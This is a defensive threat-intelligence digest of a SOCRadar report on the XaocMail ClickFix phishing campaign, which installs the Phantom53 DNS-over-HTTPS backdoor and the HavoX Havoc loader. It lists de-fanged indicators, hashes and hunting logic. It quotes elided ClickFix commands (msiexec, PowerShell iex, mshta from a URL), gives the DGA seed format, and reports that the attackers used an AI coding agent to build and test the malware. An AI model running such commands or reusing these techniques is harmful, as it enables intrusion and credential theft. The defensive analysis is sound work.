Medium 4 Hunt LeadsIOCsPhantom53HavoXSOCRadar

XaocMail’s ClickFix Lures Plant a Backdoor That Talks Over DoH

SOCRadar says a Russian-speaking crew's XaocMail platform sends fake document shares that lead to ClickFix pages, installing Phantom53, a backdoor using DNS-over-HTTPS for command and control, with a Havoc agent on demand.

A Russian-speaking crew built its own phishing platform, its own command-and-control framework and, by SOCRadar’s account, leaned on an AI coding agent to write and test much of it. SOCRadar’s Threat Research Unit says the campaign, live since August 2026, sends fake document-sharing emails from a platform called XaocMail (“ChaosMail”) that lead to ClickFix pages. Victims who paste the “fix” install Phantom53, a backdoor that hides its traffic inside DNS-over-HTTPS lookups to Google and Cloudflare, and the operators can load a Havoc agent on demand. Targets span Brazil, Peru, India, Indonesia and Spain across tech, finance, education, government, logistics and manufacturing.

For defenders

Delivery: almost 1,000 personalized pages styled as Google Docs, Adobe Acrobat, Office 365 or “SecuredDocs” shares, sent from mailboxes SOCRadar thinks were compromised. Links go to Cloudflare Workers (securedoc.<sub>.workers.dev/?id=<8 chars>), with a separate Worker rotating the subdomain. The ClickFix page offers a Win+R command; the current preferred one is msiexec /i https://…/m?id=X /qn, with PowerShell and mshta (an older Notepad++ GUP.exe sideload) as alternatives. The document “unblurs” afterwards.

Phantom53: the MSI (named like Visual Studio Tools, Python or Node.js) drops a private Python 3.11 runtime in a random folder under AppData and two virtual environments. A scheduled task named from a pool (MicrosoftEdgeUpdateTask…, OneDriveSyncTask…, WindowsDefenderScheduledScan…, OfficeBackgroundTaskHandler…, AdobeAcrobatUpdateTask…) runs pythonw.exe on a .pyw launcher every 12 minutes, which loads a native beacon disguised as cv2.pyd (or numpy/PIL/lxml names). Commands come back inside DNS AAAA answers fetched over DoH from 1.1.1.1, 8.8.8.8 or ControlD, with plain DNS as a fallback and a weekly SHA256 domain-generation algorithm (.xyz names) if the domain is taken down. A watcher task every 3 minutes decrypts and reflectively loads the Havoc Demon (“HavoX”) when told to. Operator payloads steal password-manager extension data, VPN configs, browser and SSH keys, AI coding tool secrets, crypto wallets and seed phrases, and can drop Level RMM.

The AI angle: SOCRadar found 143 task files in Claude Code’s naming style, a 117 KB architecture document and a Russian-language prompt for a Claude agent to test the implant on a “NoAV” VM. ATT&CK (per SOCRadar): T1566.002 (Phishing: Spearphishing Link), T1204.004 (User Execution: Malicious Copy and Paste), T1218.007 (System Binary Proxy Execution: Msiexec), T1053.005 (Scheduled Task/Job: Scheduled Task), T1129 (Shared Modules), T1071.004 (Application Layer Protocol: DNS), T1568.002 (Dynamic Resolution: Domain Generation Algorithms), T1620 (Reflective Code Loading). More ClickFix: ESET on Amatera.

Network
185[.]224[.]132[.]148
162[.]252[.]198[.]204
162[.]252[.]199[.]92
94[.]156[.]152[.]7
145[.]63[.]138[.]67
hxxp://145[.]63[.]138[.]67:8125/up/
91[.]132[.]93[.]251
176[.]9[.]154[.]69
dns[.]timesyncserver-312453[.]com
securedoc[.]makeneg458[.]workers[.]dev
securedoc[.]mesuttgulerr573[.]workers[.]dev
linkrot[.]fypahedupal2-0maz[.]workers[.]dev
cdn-analytics-p53[.]makeneg458[.]workers[.]dev
cdn-analytics-3f4033[.]rosamariaeadeshtvfud[.]workers[.]dev
cdn-assets-api[.]cfchk902834[.]workers[.]dev
cdn-assets-api[.]makeneg458[.]workers[.]dev
cdn-assets-api[.]kessler-m88[.]workers[.]dev
cdn-assets-api[.]busykifukek2-8psk[.]workers[.]dev
sync-node-serv[.]com
dns[.]cdn-syncnode-server[.]com
a8f2aac37385[.]xyz
kfkwrfdd[.]xyz
544504d7fe1e[.]xyz
bestutyresdomaonupder[.]com
bestutyresdomaonupder[.]top
bestutyresdomaonupder2324[.]com
hxxps://github[.]com/yegeqebige46-creator/qq
hxxps://github[.]com/JohnDow22

What it means for you

The bait is an ordinary-looking “someone shared a document with you” email. The trap is the page asking you to press Windows+R and paste a command to “verify” or “unlock” it. No real document site ever asks you to do that. If you did paste one, assume the computer is compromised, even if the document then appeared.

Do this now

  1. Never paste a command into Run, PowerShell or Terminal because a web page told you to.
  2. Pasted one? Disconnect the PC, tell IT, and change your passwords from a different device, including your password manager and crypto wallets.
  3. Admins: block msiexec installs from URLs for standard users, and consider disabling the Run dialog where staff don’t need it.
  4. Check scheduled tasks for pythonw.exe running a .pyw file from AppData.

Source article: XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe
Publisher: SOCRadar (Threat Research Unit)
Published: Nov. 13, 2026
URL: https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/

Executive Summary

SOCRadar’s Threat Research Unit attributes this campaign to an unnamed Russian-speaking threat actor; no vendor alias has been published. Preparation began in October 2025, the phishing lures and the C2 framework were refined through the first half of 2026, and the operation launched in August 2026 and remains active, with almost a thousand personalized lure pages aimed mainly at Brazil and Peru, then India, Indonesia and Spain, across technology, finance, education, government, logistics and manufacturing. XaocMail, a self-hosted phishing platform (185[.]224[.]132[.]148:8585), sends document-sharing emails through likely compromised mailboxes with links to Cloudflare Workers pages that serve ClickFix lures, log the click and deliver one of ten pre-built MSIs from Cloudflare KV, preferably through msiexec /i <url> /qn. The MSI installs Phantom53: a private Python runtime and two virtual environments run by scheduled tasks, a native beacon disguised as a PyPI extension module that polls every 12 minutes over DNS-over-HTTPS to public resolvers with commands encoded in AAAA records and a weekly SHA256 DGA for failover, and a watcher that reflectively loads an AES-GCM-encrypted Havoc Demon (HavoX) when the operator sends CMD_WAKE. Operator payloads steal password-manager, browser, SSH, Git, AI-tool and VPN secrets, crypto wallets and seed phrases, enumerate local administrators, bypass UAC through fodhelper and can install Level RMM, exfiltrating to 145[.]63[.]138[.]67:8125. SOCRadar also reports the toolkit was developed and tested with an AI coding agent. Hunt leads, false positive expectations and indicators are detailed below; SOCRadar published hunting guidance but no YARA or Sigma rules.

ATT&CK chain: Resource Development → Initial Access → Execution → Persistence → Privilege Escalation → Defense Evasion → Discovery → Command and Control → Exfiltration

Hunt Lead Grid

Hunt Lead Level Hunt Lead Name ATT&CK Risk of False Positives
1 (Junior) XaocMail, Phantom53 and HavoX Infrastructure T1566.002 (Phishing: Spearphishing Link), T1071.004 (Application Layer Protocol: DNS) Low. Exact workers.dev subdomains, operator IPs and C2 domains; never match workers.dev, github.com or the public DoH resolvers as a whole.
2 (Pro) msiexec From the Run Dialog With a workers.dev URL T1204.004 (User Execution: Malicious Copy and Paste), T1218.007 (System Binary Proxy Execution: Msiexec) Low. Users rarely launch msiexec with a URL from explorer.exe; IT install scripts run from management agents, not the Run dialog.
2 (Pro) Scheduled pythonw Loading a .pyd From AppData T1053.005 (Scheduled Task/Job: Scheduled Task), T1129 (Shared Modules), T1036.005 (Masquerading: Match Legitimate Resource Name or Location) Medium. Developers and some apps ship embedded Python under AppData; anchor on a Task Scheduler parent, a .pyw argument and a random-named folder with a private python311.dll.
3 (Elite) Non-Browser DoH and AAAA Beaconing From pythonw T1071.004 (Application Layer Protocol: DNS), T1568.002 (Dynamic Resolution: Domain Generation Algorithms) Medium. Browsers and some security agents use DoH; requires process attribution, resolver allowlisting and periodicity analysis.

XaocMail, Phantom53 and HavoX Infrastructure

Lure links point at securedoc subdomains on workers.dev with paths /?id= (lure), /m?id= (MSI), /s?id= (PowerShell) and /h?id= (HTA), and a link-rotator Worker swaps the subdomain on each access. The beacon’s first contact retrieves a telemetry Worker URL and posts encrypted host data to /api/metrics; HavoX connects to cdn-assets-api Workers and two operator domains; exfiltration goes to hxxp://145[.]63[.]138[.]67:8125/up/, which also hosts the Havoc login panel on 8000. Phantom53 C2 domains seen so far are .xyz names, and older builds were staged on a GitHub account and gist. The detection logic sweeps proxy, DNS, firewall and NetFlow logs for the listed workers.dev subdomains, domains and IPs, and DNS logs (including DoH where a gateway decrypts it) for query names under the three .xyz C2 domains.

Use proxy and DNS logs, firewall and NetFlow data, and email gateway URL logs for the securedoc links. Sweep back to August 2026, or October 2025 for the IPs, when testing began. Block the exact Worker subdomains, domains and IPs; do not block workers.dev, github.com or gist.githubusercontent.com for everyone. The DGA can produce new .xyz names, so a hit on an unknown 12-hex-character .xyz name from a non-browser process is worth pivoting on. A connection to a cdn-analytics or cdn-assets-api Worker means the beacon or Havoc is already running: isolate the host.

# Network indicators (de-fanged), from SOCRadar
185[.]224[.]132[.]148   # XaocMail landing (TCP 8585), FastAPI backend (5000), DNS server (53)
162[.]252[.]198[.]204   # OPS server (SSH 2222)
162[.]252[.]199[.]92    # OPS server (Ligolo-ng)
94[.]156[.]152[.]7      # operator VPS
145[.]63[.]138[.]67     # XaocMail stats (8081), Havoc C2, exfiltration hxxp://145[.]63[.]138[.]67:8125/up/
91[.]132[.]93[.]251     # RevSocks (WSS)
176[.]9[.]154[.]69      # proxy for credential hunting
dns[.]timesyncserver-312453[.]com            # OPS C2 domain
securedoc[.]makeneg458[.]workers[.]dev       # XaocMail phishing and ClickFix
securedoc[.]mesuttgulerr573[.]workers[.]dev  # XaocMail phishing and ClickFix (/?id= /m?id= /s?id= /h?id=)
linkrot[.]fypahedupal2-0maz[.]workers[.]dev  # link rotator
cdn-analytics-p53[.]makeneg458[.]workers[.]dev               # telemetry collector
cdn-analytics-3f4033[.]rosamariaeadeshtvfud[.]workers[.]dev  # telemetry collector
cdn-assets-api[.]cfchk902834[.]workers[.]dev       # HavoX
cdn-assets-api[.]makeneg458[.]workers[.]dev        # HavoX
cdn-assets-api[.]kessler-m88[.]workers[.]dev       # HavoX
cdn-assets-api[.]busykifukek2-8psk[.]workers[.]dev # HavoX
sync-node-serv[.]com              # HavoX
dns[.]cdn-syncnode-server[.]com   # HavoX
a8f2aac37385[.]xyz   # Phantom53 C2
kfkwrfdd[.]xyz       # Phantom53 C2
544504d7fe1e[.]xyz   # Phantom53 C2
bestutyresdomaonupder[.]com       # RevSocks (WSS)
bestutyresdomaonupder[.]top       # RevSocks (WSS)
bestutyresdomaonupder2324[.]com   # RevSocks (WSS)
hxxps://gist[.]githubusercontent[.]com/yegeqebige46-creator/b393f36b20ad8aeadcb8a80af70ccc09/raw/da03fd7f1ffacda970a1f3d345bdaeae8c6a7b43/gistfile1[.]txt   # Phantom53 payload (older)
hxxps://github[.]com/yegeqebige46-creator/qq/raw/main/update[.]zip   # Phantom53 payload (older)
hxxps://github[.]com/JohnDow22   # operator GitHub account
# Operator accounts (Cloudflare/GitHub registration)
nepox3k[at]gtuta[.]io

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Initial Access → T1566.002 (Phishing: Spearphishing Link); Command and Control → T1071.004 (Application Layer Protocol: DNS) (mapping per source article)

Sources: “XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe”, SOCRadar, Nov. 13, 2026, https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/ (source article)

msiexec From the Run Dialog With a workers.dev URL

The ClickFix page tells the victim to open Win+R and paste one of three commands: msiexec /i https://…/m?id=X /qn (the current, preferred vector), a PowerShell one-liner that reverses “iex” to run a downloaded script, or mshta https://…/h?id=X for the older ZIP that side-loads libcurl.dll through Notepad++’s GUP.exe. Once the command runs, the downloader calls /api/unblur?id= so the fake document appears unlocked, which removes the victim’s reason to report it. SOCRadar’s first hunting search is msiexec.exe spawned from explorer.exe (the Run dialog) with a workers.dev URL argument. The detection logic alerts on msiexec.exe, powershell.exe or mshta.exe whose parent is explorer.exe and whose command line contains an http(s) URL, raised to high when the host is workers.dev or the path matches /m?id=, /s?id= or /h?id=, and on the RunMRU registry key gaining such a command.

Use EDR process creation with command lines (or Sysmon event 1) and registry telemetry for HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Sweep back to August 2026. Allowlist nothing by URL host alone; legitimate software installs come from management agents and signed installers, not from a user pasting into Run. Blocking all msiexec is the wrong control because Windows Installer is needed; a policy that prevents standard users installing from remote URLs, and blocking the Run dialog where unneeded, are better. Any hit is a confirmed ClickFix execution: isolate and check for the scheduled tasks in the next lead. The lead generalizes to most ClickFix families.

Hunt Lead Level: 2 (Pro)

ATT&CK: Execution → T1204.004 (User Execution: Malicious Copy and Paste); Defense Evasion → T1218.007 (System Binary Proxy Execution: Msiexec) (mapping per source article)

Sources: SOCRadar, Nov. 13, 2026 (source article)

Scheduled pythonw Loading a .pyd From AppData

The MSI’s custom-action DLL creates a random folder such as %LOCALAPPDATA%\d9ae124034ad\ (also %APPDATA%, %APPDATA%\Microsoft or %LOCALAPPDATA%\Microsoft\WindowsApps) holding pythonw.exe, python311.dll and python311._pth, plus two package folders under Lib\site-packages with an __init__.py that imports a native module named cv2.pyd or core.pyd (numpy, PIL and lxml names are also supported) and, in the watcher package, encrypted .dat blobs. Scheduled tasks with names drawn from MicrosoftEdgeUpdateTask, OneDriveSyncTask, WindowsDefenderScheduledScan, OfficeBackgroundTaskHandler or AdobeAcrobatUpdateTask plus a random suffix run pythonw.exe <random>.pyw every 12 minutes (beacon) and every 3 minutes (watcher), first delayed two minutes, registered through COM without schtasks.exe or, unelevated, from %TEMP%\p53_task_a.xml and p53_task_b.xml; DGA state is stored in the task description and per-machine state under a CLSID-formatted key in HKCU\Software\Classes\CLSID. SOCRadar’s hunting searches cover pythonw.exe spawned by svchost.exe (Task Scheduler) running a .pyw from AppData and loading .pyd files from a non-standard path. The detection logic combines those: a new scheduled task whose action is pythonw.exe with a .pyw argument in a user-writable path, and image loads of .pyd files by that process from a folder that is not a standard Python install, with a task name matching the pool plus a suffix as a high-confidence booster.

Use EDR process and image-load telemetry, Windows event 4698 (scheduled task created) and the TaskScheduler operational log, and a one-off sweep of C:\Windows\System32\Tasks. Look back to August 2026. Allowlist developer machines’ known Python environments by path, not by pythonw.exe, which is a signed, legitimate binary; hash-blocking it would break real Python. Note that task registration via COM leaves no schtasks.exe process, so rely on task-creation events rather than process lineage. The watcher also creates a mutex Global\P53Demon_<hex> when it loads Havoc. Any hit should be treated as an active Phantom53 infection; removal should include both tasks, both virtual environments and the HKCU CLSID state key.

Hunt Lead Level: 2 (Pro)

ATT&CK: Persistence → T1053.005 (Scheduled Task/Job: Scheduled Task); Execution → T1129 (Shared Modules); Defense Evasion → T1036.005 (Masquerading: Match Legitimate Resource Name or Location) (mapping per source article)

Sources: SOCRadar, Nov. 13, 2026 (source article)

Non-Browser DoH and AAAA Beaconing From pythonw

Phantom53 sends DoH POSTs to resolvers by IP (1.1.1.1, 1.0.0.1, 8.8.8.8, 8.8.4.4 and ControlD’s 76.76.2.11 and 76.76.10.11), then by hostname with SNI (for example dns.google), then plain UDP 53 to hardcoded resolvers. Each beacon is a two-round-trip handshake whose query names are base36 tokens shaped like <bot>-<cookie>.<word>.<h0>-<h1>-<h2>-<h3>.<c2>, answered with AAAA records whose 16 bytes carry the command; a skip gate defers beaconing on fresh sandboxes but forces it after three deferrals. On repeated NXDOMAIN it switches to a DGA domain built from SHA256 of “phantom53-<year>-W<week>-<index>”, taking 12 hex characters plus .xyz, after Ed25519 verification. SOCRadar’s last hunting search is pythonw.exe connecting to DoH resolvers on 443 or to raw IPs on 53. The detection logic joins EDR network events (process image and path) with firewall data to flag any non-browser process, especially pythonw.exe from AppData, making HTTPS connections to known DoH resolver IPs or hostnames, and where DNS is visible, AAAA-dominant query bursts with long, high-entropy base36 labels to a single parent domain every 12 minutes.

Use EDR network telemetry, firewall logs, and DNS or DoH-gateway logs; a DoH-aware secure web gateway can decrypt and log the queries. Baseline which processes legitimately use DoH (browsers, some security agents) and allowlist them by signed path. Where policy allows, block DoH to public resolvers from endpoints and force DNS through internal resolvers, which also defeats the fallback; blocking 8.8.8.8 or 1.1.1.1 outright on port 53 without an internal resolver strategy will break things. Precompute this week’s and adjacent weeks’ DGA candidates from the published seed format to sinkhole or alert on them. A confirmed hit is an active beacon: isolate and collect memory, since the Havoc Demon runs only in memory.

Hunt Lead Level: 3 (Elite)

ATT&CK: Command and Control → T1071.004 (Application Layer Protocol: DNS), T1568.002 (Dynamic Resolution: Domain Generation Algorithms) (mapping per source article)

Sources: SOCRadar, Nov. 13, 2026 (source article)

Hash Appendix

XaocMail delivery payloads and Phantom53 components

SHA256 from the source article; MD5 and SHA1 were not published and were not looked up in OTX or VirusTotal. libcurl.dll and GUP.exe in the older chain: GUP.exe is Notepad++’s legitimate updater (not listed); the libcurl.dll hash below is the malicious side-loaded copy.

MD5s

(not available)  # all files below

SHA1s

(not available)  # all files below

SHA256s

bceeb2d54b6a756c73a3e06617e9e95ad4d8e53da47639bcd6ef3cae98c6da6d  # HTA -> XaocMail-Phantom53 payload
79a4cb73983a1facb5db09f1a20cec6e58d91a93044a78aa3ba32ab2190284ed  # PowerShell -> XaocMail-Phantom53 payload
7055483a77f679ad569c3a9bfe76cdb8e5b96efc44d2bf2a6f08e930add598b0  # MSI -> XaocMail-Phantom53 payload
0dcfe51d2521e52a469f5cec6b42bc8e7e37b41df993cce7d739ff3fd248d8b1  # MSI -> XaocMail-Phantom53 payload
bd1c005f35e4fd8c61dfa6f20d4c03e082c692e286a3b22dd642369c8d5e3564  # MSI -> XaocMail-Phantom53 payload
dbd252becd490ac47e16bff4391ab9e6237c4f7e81ab6784c57fa2eed751f477  # MSI -> XaocMail-Phantom53 payload
e9e57a57ee45b8faae2e47affd8cf3a6d0cc1283802108f7298ae1d2ef3b43f0  # MSI -> XaocMail-Phantom53 payload
d2d41b249905deae3bd6bcaa547872d747256a7dfa459b509d9db9de8f0ca29b  # MSI -> XaocMail-Phantom53 payload
ee5fa33b58d0f2772e091e23de9db24908d970000a88e39fd7d908f30f5e591a  # MSI -> XaocMail-Phantom53 payload
a972797cc1a4161f6e2841142b8cace9b781585f9a71b03aa79a9c051b817491  # MSI -> XaocMail-Phantom53 payload
47e853092511d9663196e9b36d563a0c3e92ee734f88675c4f375ffcfa5f3db8  # MSI -> XaocMail-Phantom53 payload
4efe003a54db8ffbaef6065270eacb0a59479ccc86941517ac7a33344e97bc1d  # MSI -> XaocMail-Phantom53 payload
9a2af4b6d9780e08c86ff35030ee1747ea11460cb1dffc868c48e7af6d626546  # MSI -> XaocMail-Phantom53 payload
4f656834e545c0b44922ce6d8952989c8c0859d8ae8b1f117c06ab07b047e2b4  # beacon.pyd -> dropped as cv2.pyd in venv A
8ebb2bf61b48ae7abdcd674413bebd79b30ddd945854e175ba60d56c0a3adf54  # watcher.pyd -> dropped as core.pyd in venv B
a4ad001c6900176eba43a747ae5d212db6fc78f7ef4e777f276cbbdf8099dbe8  # demon.dat -> AES-GCM encrypted Havoc Demon
dc57638cb90798835848a9dafec228bef7738def50f4f2db612862e07c5b6f8a  # demon_dbg.dat -> AES-GCM encrypted Havoc Demon (debug)
56582934901cce0b618d6a50e54c9db29bf2d444636bcd40b5975a765ecde538  # gistfile1.txt -> older GUP.exe/libcurl.dll sideload stager
009099ba10365b44bdb3ecc28dfcbed6a594ec0a0df86931620cdaac9843e611  # update.zip -> older GUP.exe/libcurl.dll sideload package
0aff424f9a02eb9f429119c4caa05e85fc952603549d69849e745293d20235d6  # libcurl.dll -> malicious side-loaded DLL (older chain)

Operator tooling

SHA256 from the source article; recovered from operator infrastructure, not victim hosts.

MD5s

(not available)  # all files below

SHA1s

(not available)  # all files below

SHA256s

efc4b8c1968c06e598a6f6f98398d44b488198b497291fe30fb792d696b6cb81  # adminka -> operator TUI console (Go)
0e1c94a8f94158f64558325ddbfd1e1277884fba6fb1f8c381dbd5c742e59fbb  # build_v4.py -> Phantom53 MSI builder

References Appendix

  • “XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe”, SOCRadar Threat Research Unit, Nov. 13, 2026, https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/

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